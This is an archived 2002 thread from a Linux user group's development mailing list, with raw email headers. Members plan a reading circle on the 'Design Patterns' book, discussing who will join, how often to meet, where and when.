from oemcomputer ([66.26.40.196]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 14 Feb 2002 17:46:11 -0500 Message-ID: <003101c1b5a9$5b077380$c4281a42@nc.rr.com> From: "Matthew Todd" To: References: Subject: Re: [Dev] Reading Circle Date: Thu, 14 Feb 2002 17:45:04 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Me too -- sounds great! Here's a link: http://hillside.net/patterns/books/DPBook/DPBook.html Matthew ----- Original Message ----- From: "M. Mueller (bhu5nji)" > I'm in. How bout a link to the book? > > Mike M. > > On Thursday 14 February 2002 03:46 pm, you wrote: > > Say, is anybody interested in getting a "reading circle" together to study > > some book of topical interest? I've been toying with the > > idea for a while, and have talked to at least one other Tri-LUG member how > > has some interest.... We were talking about maybe > > doing the Gang of Four "Design Patterns" book... > > > > Anybody game for doing such a thing? Of maybe the same idea, but a > > different book? > > > > TTYL, > > > > Phillip Rhodes > > Application Designer > > Voice Data Solutions > > 919-571-4300 x225 > > prhodes@vdsinc.com > > > > America is at war with Afghanistan. America has always been at war with > > Afghanistan. Russia is our ally. Russia has always been our ally. > > > > Read Orwell's 1984. Read a newspaper. Fear the future. > > > > The history of liberty is a history of resistance. The history of liberty > > is a history of limitations of governmental power, not the increase of it. > > - Woodrow Wilson Speech in New York, September 9, 1912 > > > > Those who are willing to sacrifice essential liberties for a little order, > > will lose both and deserve neither. - Benjamin Franklin > > > > > > _______________________________________________ > > Dev mailing list > > Dev@trilug.org > > http://www.trilug.org/mailman/listinfo/dev > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > From prhodes@vdsinc.com Thu Feb 14 20:25:57 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id UAA02946 for ; Thu, 14 Feb 2002 20:25:57 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AFZ47442; Thu, 14 Feb 2002 20:27:57 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Thu, 14 Feb 2002 20:33:27 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/14/2002 08:33:35 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Cool.. so far it looks like we have at least some interest from at least: myself Mike Mueller Brent Verner Matthew Todd John Davis as well as a co-worker of mine, and a guy I go to school with. That makes, uhhh, 7. That seems like a sufficient number to me. I guess the next step is to settle on three key things: location, date(s) and time. We might also need to take our discussion offline since I'm not *sure* this is technically on-topic for this list. It's about development, granted.. but there's nothing Linux specific about Design Patterns... Course, I guess we could argue that it's on topic, because our next book might be "GNU C++ for Linux" or something. :-) Anyway;... what do you all want to do about date, time and location? As far as date(s) go, I'm pretty much limited to weekends, because I have class at Wake Tech, Monday thru Friday. So, Sat. or Sun is my only real option. I don't really have a preference. Whatever everybody else wants, is good with me.... Location isn't a big deal to me... I'll happily drive a decent distance, to make our meeting point somewhere central for everyone. I figure we have a few choices for meeting place: somebody's house, somebody's office, a public place like a library or bookstore, or, uhmm... well, that's about it I guess. Anybody got any suggestions or want to volunteer a spot? Time isn't really an issue for me either, except I'm not much of a morning person. So, I hope not too many people want to meet too awfully early.... I especially like to sleep in on Saturday. :-) Anyway, that's my thoughts on the thing... let's put our heads together and see if we can come up with something to accomodate everybody. Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin "Matthew Todd" .duke.edu> cc: Sent by: Subject: Re: [Dev] Reading Circle dev-admin@trilug.org 02/14/02 05:45 PM Please respond to dev Me too -- sounds great! Here's a link: http://hillside.net/patterns/books/DPBook/DPBook.html Matthew ----- Original Message ----- From: "M. Mueller (bhu5nji)" > I'm in. How bout a link to the book? > > Mike M. > > On Thursday 14 February 2002 03:46 pm, you wrote: > > Say, is anybody interested in getting a "reading circle" together to study > > some book of topical interest? I've been toying with the > > idea for a while, and have talked to at least one other Tri-LUG member how > > has some interest.... We were talking about maybe > > doing the Gang of Four "Design Patterns" book... > > > > Anybody game for doing such a thing? Of maybe the same idea, but a > > different book? > > > > TTYL, > > > > Phillip Rhodes > > Application Designer > > Voice Data Solutions > > 919-571-4300 x225 > > prhodes@vdsinc.com > > > > America is at war with Afghanistan. America has always been at war with > > Afghanistan. Russia is our ally. Russia has always been our ally. > > > > Read Orwell's 1984. Read a newspaper. Fear the future. > > > > The history of liberty is a history of resistance. The history of liberty > > is a history of limitations of governmental power, not the increase of it. > > - Woodrow Wilson Speech in New York, September 9, 1912 > > > > Those who are willing to sacrifice essential liberties for a little order, > > will lose both and deserve neither. - Benjamin Franklin > > > > > > _______________________________________________ > > Dev mailing list > > Dev@trilug.org > > http://www.trilug.org/mailman/listinfo/dev > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From brent@mutt.rcfile.org Thu Feb 14 21:08:41 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA03129 for ; Thu, 14 Feb 2002 21:08:41 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 14 Feb 2002 21:10:44 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1F2AkL74946 for dev@trilug.org; Thu, 14 Feb 2002 21:10:46 -0500 (EST) (envelope-from brent) Date: Thu, 14 Feb 2002 21:10:46 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020215021046.GA74840@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-14 20:33] prhodes@vdsinc.com said: | | Cool.. so far it looks like we have at least some interest from at least: | | myself | Mike Mueller | Brent Verner | Matthew Todd | John Davis | | as well as a co-worker of mine, and a guy I go to school with. That makes, | uhhh, 7. That seems like a sufficient number to me. | I guess the next step is to settle on three key things: location, date(s) | and time. We might also need to take our discussion offline | since I'm not *sure* this is technically on-topic for this list. It's | about development, granted.. but there's nothing Linux specific | about Design Patterns... | | Course, I guess we could argue that it's on topic, because our next book | might be "GNU C++ for Linux" or something. :-) I'd keep the discussion here until someone decides it's unacceptable. IMO, until the discussion is /not applicable/ to development under linux, it /is/ suitable for this list. It would be nice to keep any communication in the open for those who might not be able to make the in-person discussions. | Anyway;... what do you all want to do about date, time and location? As | far as date(s) go, I'm pretty much limited | to weekends, because I have class at Wake Tech, Monday thru Friday. So, | Sat. or Sun is my only real option. | I don't really have a preference. Whatever everybody else wants, is good | with me.... same here, except that Sunday night I usually get sucked into preparing for the week-ahead's work, so my "free" time is generally from Saturday afternoon to Sunday evening. That said, this weekend is already committed to upgrading a couple of intranet servers at work :-( | Location isn't a big deal to me... I'll happily drive a decent distance, to | make our meeting point somewhere | central for everyone. I figure we have a few choices for meeting place: | somebody's house, somebody's office, | a public place like a library or bookstore, or, uhmm... well, that's about | it I guess. Anybody got any suggestions | or want to volunteer a spot? I can (most likely) get a nice conference room in the building I work in; very near the intersection of Hillsborough St and the beltline We could adjourn to East Village for some refreshments -- great sandwiches and libations (if you're so inclined). The conference room has a projection screen that can be hooked up to a laptop if we need it. | Time isn't really an issue for me either, except I'm not much of a morning | person. So, I hope not too many | people want to meet too awfully early.... I especially like to sleep in on | Saturday. :-) Saturday morning is my been-hacking-fun-stuff-all-friday-night recovery period. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From prhodes@vdsinc.com Thu Feb 14 21:40:14 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA03253 for ; Thu, 14 Feb 2002 21:40:13 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AFZ50510; Thu, 14 Feb 2002 21:42:15 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Thu, 14 Feb 2002 21:47:44 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/14/2002 09:47:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I'd keep the discussion here until someone decides it's unacceptable. > IMO, until the discussion is /not applicable/ to development under > linux, it /is/ suitable for this list. Sounds good to me. > It would be nice to keep any communication in the open for those > who might not be able to make the in-person discussions. Agreed. Did you look at the Wiki board that the Patterns Group in Boulder has? That's a cool idea... Of course, I'm not really interested in forming an outright Patterns Group.. but I thought their Wiki board made a nice forum for keeping people posted on what's going on, and otherwise sharing info. > so my "free" time is generally from Saturday > afternoon to Sunday evening. Pretty much the same here. > That said, this weekend is already > committed to upgrading a couple of intranet servers at work :-( Similiar story here. I have to come in this weekend, and move a DB2 database. > I can (most likely) get a nice conference room in the building I work > in; very near the intersection of Hillsborough St and the beltline > We could adjourn to East Village for some refreshments -- great > sandwiches and libations (if you're so inclined). The conference > room has a projection screen that can be hooked up to a laptop > if we need it. Sounds good to me. I live in Chapel Hill, but I drive to Raleigh to work everyday anyway. I would't mind driving over here for something like this. > Saturday morning is my been-hacking-fun-stuff-all-friday-night recovery > period. Same here. TTYL, Phillip From matthew.todd@alumni.duke.edu Thu Feb 14 22:09:39 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA03410 for ; Thu, 14 Feb 2002 22:09:39 -0500 Received: from oemcomputer ([66.26.40.196]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 14 Feb 2002 22:11:44 -0500 Message-ID: <00a401c1b5ce$72dc1180$c4281a42@nc.rr.com> From: "Matthew Todd" To: References: Subject: Re: [Dev] Reading Circle Date: Thu, 14 Feb 2002 22:11:22 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > I can (most likely) get a nice conference room in the building I work > > in; very near the intersection of Hillsborough St and the beltline > > We could adjourn to East Village for some refreshments -- great > > sandwiches and libations (if you're so inclined). The conference > > room has a projection screen that can be hooked up to a laptop > > if we need it. > > Sounds good to me. I live in Chapel Hill, but I drive to Raleigh > to work everyday anyway. I would't mind driving over here for > something like this. I live in Durham, and I'm glad to drive to Raleigh. Weekends are good for me too. This is sounding like a really good deal; looking forward to it. From jvmatthe@math.duke.edu Thu Feb 14 22:19:40 2002 Received: from math.duke.edu (augustus.math.duke.edu [152.3.25.8]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA03469 for ; Thu, 14 Feb 2002 22:19:40 -0500 Received: from ph4tp1p3.math.duke.edu (ph4tp1p3 [152.3.25.77]) by math.duke.edu (8.11.6/8.11.6) with ESMTP id g1F3LkY29881 for ; Thu, 14 Feb 2002 22:21:46 -0500 Received: (from jvmatthe@localhost) by ph4tp1p3.math.duke.edu (8.11.6/8.9.3) id g1F3Lkj14687 for dev@trilug.org; Thu, 14 Feb 2002 22:21:46 -0500 Date: Thu, 14 Feb 2002 22:21:46 -0500 From: Matt Matthews To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020214222145.A14684@ph4tp1p3.math.duke.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from prhodes@vdsinc.com on Thu, Feb 14, 2002 at 03:46:56PM -0500 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'm also interested in attending. I'll be watching here for details. I can meet most evenings, as long as it's not more often than 2 times a month. Regards, matt -- Matt Matthews \ ph: 919.660.2811 \ Use GNU/Linux _o) w00t Duke Univ., Postdoc\ jvmatthe@math.duke.edu \____________ /\\ Dept. of Mathematics\ http://www.math.duke.edu/~jvmatthe/ \ _\_V From bhu5nji@yahoo.com Fri Feb 15 05:39:56 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id FAA05519 for ; Fri, 15 Feb 2002 05:39:56 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 16bfoY-0007W1-00 for dev@trilug.org; Fri, 15 Feb 2002 05:42:02 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Fri, 15 Feb 2002 05:39:06 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 14 February 2002 08:33 pm, you wrote: > Cool.. so far it looks like we have at least some interest from at least: > > myself > Mike Mueller > Brent Verner > Matthew Todd > John Davis > > as well as a co-worker of mine, and a guy I go to school with. That makes, > uhhh, 7. That seems like a sufficient number to me. > I guess the next step is to settle on three key things: location, date(s) > and time. We might also need to take our discussion offline > since I'm not *sure* this is technically on-topic for this list. It's > about development, granted.. but there's nothing Linux specific > about Design Patterns... > > Course, I guess we could argue that it's on topic, because our next book > might be "GNU C++ for Linux" or something. :-) Quality open design is specific to GNU/Linux (and other open systems) IMO. We are studying principles applied in these systems. > > Anyway;... what do you all want to do about date, time and location? As > far as date(s) go, I'm pretty much limited > to weekends, because I have class at Wake Tech, Monday thru Friday. So, > Sat. or Sun is my only real option. > I don't really have a preference. Whatever everybody else wants, is good > with me.... Time: Saturday or Sunday afternoons are good for me depending on the frequency of the meetings. How do these things work? Is it assumed that the participants have read the entire book, part of the book, or none of the book? > > Location isn't a big deal to me... I'll happily drive a decent distance, to > make our meeting point somewhere > central for everyone. I figure we have a few choices for meeting place: > somebody's house, somebody's office, > a public place like a library or bookstore, or, uhmm... well, that's about > it I guess. Anybody got any suggestions > or want to volunteer a spot? Location not an issue. When weather permits, I have a nice tin-roofed outdoor seating area in 5 points Raleigh that accomodates 8-10. Has AC and DSL too. Comes with galvanized tub full of ice and water that's good for chilling and storing refreshments. > > Time isn't really an issue for me either, except I'm not much of a morning > person. So, I hope not too many > people want to meet too awfully early.... I especially like to sleep in on > Saturday. :-) > > > Anyway, that's my thoughts on the thing... let's put our heads together > and see if we can come up with something > to accomodate everybody. > > > Phillip Rhodes > Application Designer > Voice Data Solutions > 919-571-4300 x225 > prhodes@vdsinc.com > > America is at war with Afghanistan. America has always been at war with > Afghanistan. Russia is our ally. Russia has always been our ally. > > Read Orwell's 1984. Read a newspaper. Fear the future. > > The history of liberty is a history of resistance. The history of liberty > is a history of limitations of governmental power, not the increase of it. > - Woodrow Wilson Speech in New York, September 9, 1912 > > Those who are willing to sacrifice essential liberties for a little order, > will lose both and deserve neither. - Benjamin Franklin > > > > > "Matthew Todd" > > .duke.edu> cc: > Sent by: Subject: Re: [Dev] > Reading Circle dev-admin@trilug.org > > > 02/14/02 05:45 PM > Please respond to > dev > > > > > > > Me too -- sounds great! > > Here's a link: http://hillside.net/patterns/books/DPBook/DPBook.html > > Matthew > > > > ----- Original Message ----- > From: "M. Mueller (bhu5nji)" > > > I'm in. How bout a link to the book? > > > > Mike M. > > > > On Thursday 14 February 2002 03:46 pm, you wrote: > > > Say, is anybody interested in getting a "reading circle" together to > > study > > > > some book of topical interest? I've been toying with the > > > idea for a while, and have talked to at least one other Tri-LUG member > > how > > > > has some interest.... We were talking about maybe > > > doing the Gang of Four "Design Patterns" book... > > > > > > Anybody game for doing such a thing? Of maybe the same idea, but a > > > different book? > > > > > > TTYL, > > > > > > Phillip Rhodes > > > Application Designer > > > Voice Data Solutions > > > 919-571-4300 x225 > > > prhodes@vdsinc.com > > > > > > America is at war with Afghanistan. America has always been at war > > with > > > > Afghanistan. Russia is our ally. Russia has always been our ally. > > > > > > Read Orwell's 1984. Read a newspaper. Fear the future. > > > > > > The history of liberty is a history of resistance. The history of > > liberty > > > > is a history of limitations of governmental power, not the increase of > > it. > > > > - Woodrow Wilson Speech in New York, September 9, 1912 > > > > > > Those who are willing to sacrifice essential liberties for a little > > order, > > > > will lose both and deserve neither. - Benjamin Franklin > > > > > > > > > _______________________________________________ > > > Dev mailing list > > > Dev@trilug.org > > > http://www.trilug.org/mailman/listinfo/dev > > > > _______________________________________________ > > Dev mailing list > > Dev@trilug.org > > http://www.trilug.org/mailman/listinfo/dev > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From prhodes@vdsinc.com Fri Feb 15 11:47:45 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA06990 for ; Fri, 15 Feb 2002 11:47:44 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGA01393; Fri, 15 Feb 2002 11:49:47 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Fri, 15 Feb 2002 11:55:19 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/15/2002 11:55:21 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Quality open design is specific to GNU/Linux (and other open systems) IMO. > We are studying principles applied in these systems. True. > Time: Saturday or Sunday afternoons are good for me depending on the > frequency of the meetings. I was thinking twice a month might be good. Maybe every other Saturday, sometime in the afternoon? > How do these things work? Is it assumed that the > participants have read the entire book, part of the book, or none of the book? Well, to be honest, I've never participated in one of these before either. So I don't really how it's "supposed" to work... but it's our circle so we can do whatever we want, I guess. I was thinking that we could agree to read a certain portion of the book between each meeting. IE, at the first meeting we all agree to read, say, chapters 1-3. Then at the next meeting, we'd discuss chapters 1-3, and agree to read chapter 4-5 for the next meeting.. or, maybe we'd decide we needed more time on 1-3... Whatever.. it's up to us. > Location not an issue. When weather permits, I have a nice tin-roofed > outdoor seating area in 5 points Raleigh that accomodates 8-10. Has AC and > DSL too. Comes with galvanized tub full of ice and water that's good for > chilling and storing refreshments. Cool! TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From prhodes@vdsinc.com Fri Feb 15 11:49:18 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA07024 for ; Fri, 15 Feb 2002 11:49:18 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGA01616; Fri, 15 Feb 2002 11:51:22 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Fri, 15 Feb 2002 11:56:54 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/15/2002 11:56:56 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I'm also interested in attending. I'll be watching here for details. I can > meet most evenings, as long as it's not more often than 2 times a month. Twice a month is kinda what I had in mind, if that's good with everybody else. I think more often would be too much of a burden on people's schedules, plus it wouldn't allow much time to read the material. And less often, I'm afraid would probably result in people losing interest. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From billvinson@nc.rr.com Fri Feb 15 13:04:33 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA07521 for ; Fri, 15 Feb 2002 13:04:33 -0500 Received: from localhost ([66.26.236.160]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 15 Feb 2002 13:06:52 -0500 Date: Fri, 15 Feb 2002 13:06:34 -0500 Subject: Re: [Dev] Reading Circle Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I might be interested as well. However, I might have to pick up later with another book. Right now my C++ knowledge is rudimentary and I doubt I would get 'Design Patterns' as quickly as the rest of you. I am good for just about any time now, maybe twice a month. Bill From brent@mutt.rcfile.org Fri Feb 15 13:15:31 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA07575 for ; Fri, 15 Feb 2002 13:15:31 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 15 Feb 2002 13:17:50 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1FIHa579759 for dev@trilug.org; Fri, 15 Feb 2002 13:17:36 -0500 (EST) (envelope-from brent) Date: Fri, 15 Feb 2002 13:17:36 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020215181736.GB79556@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-15 13:06] Bill Vinson said: | I might be interested as well. However, I might have to pick up later | with another book. Right now my C++ knowledge is rudimentary and I | doubt I would get 'Design Patterns' as quickly as the rest of you. heh. _ALL_ my knowledge is rudimentary (as possible). Patterns are not limited to implementation in specific languages. Sure, the GOF were all super-genius', but that doesn't mean a simpleton like me can't benefit from their ideas and discourse -- even when I'm not lucky enough to work in OO-land most of the day. come on out. I plan on learning all I can from the group, and hope that I have something valuable that I can add to the discussion. | I am good for just about any time now, maybe twice a month. | | Bill | | _______________________________________________ | Dev mailing list | Dev@trilug.org | http://www.trilug.org/mailman/listinfo/dev -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Fri Feb 15 13:21:26 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA07615 for ; Fri, 15 Feb 2002 13:21:26 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16bn19-0005CG-00 for dev@trilug.org; Fri, 15 Feb 2002 13:23:32 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Fri, 15 Feb 2002 13:20:33 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: If you wait for your C++ to get good you might never jump in. Jump in and learn to swim out of necessity. I often think the documentation is harder than the concept it's trying to describe. Mike M. On Friday 15 February 2002 01:06 pm, you wrote: > I might be interested as well. However, I might have to pick up later > with another book. Right now my C++ knowledge is rudimentary and I > doubt I would get 'Design Patterns' as quickly as the rest of you. > > I am good for just about any time now, maybe twice a month. > > Bill > > _______________________________________________ > Dev mailing list > Dev@trilug.org > 